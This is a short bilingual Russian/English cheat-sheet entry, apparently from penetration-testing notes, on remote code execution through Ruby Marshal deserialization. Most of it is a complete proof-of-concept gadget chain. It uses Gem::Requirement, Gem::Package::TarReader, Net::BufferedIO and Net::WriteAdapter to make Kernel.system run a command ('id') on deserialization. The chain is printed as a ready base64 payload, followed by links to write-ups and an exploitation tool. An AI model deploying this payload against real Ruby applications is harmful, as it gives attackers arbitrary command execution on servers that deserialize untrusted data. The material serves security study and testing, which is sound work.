# RU
В Ruby также возможна иногда сделать RCE через десериализацию. В основном это возможно благодаря методу Marshall, который сериализует и десериализует объекты.
Снизу вы можете найти PoC
# EN
In Ruby, it is also possible to sometimes do RCE through deserialization. This is mostly possible through the Marshall method, which serializes and deserializes objects.
At the bottom you can find the PoC
require 'base64'
Gem::SpecFetcher
Gem::Installer
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)# RU
Более подробно можно узнать здесь
# EN
Learn more here
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.htmlhttps://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_ruby.htmlhttps://bishopfox.com/blog/ruby-vulnerabilities-exploits# RU
Есть еще тулза
# EN
There is also a tool
https://github.com/klezVirus/deser-ruby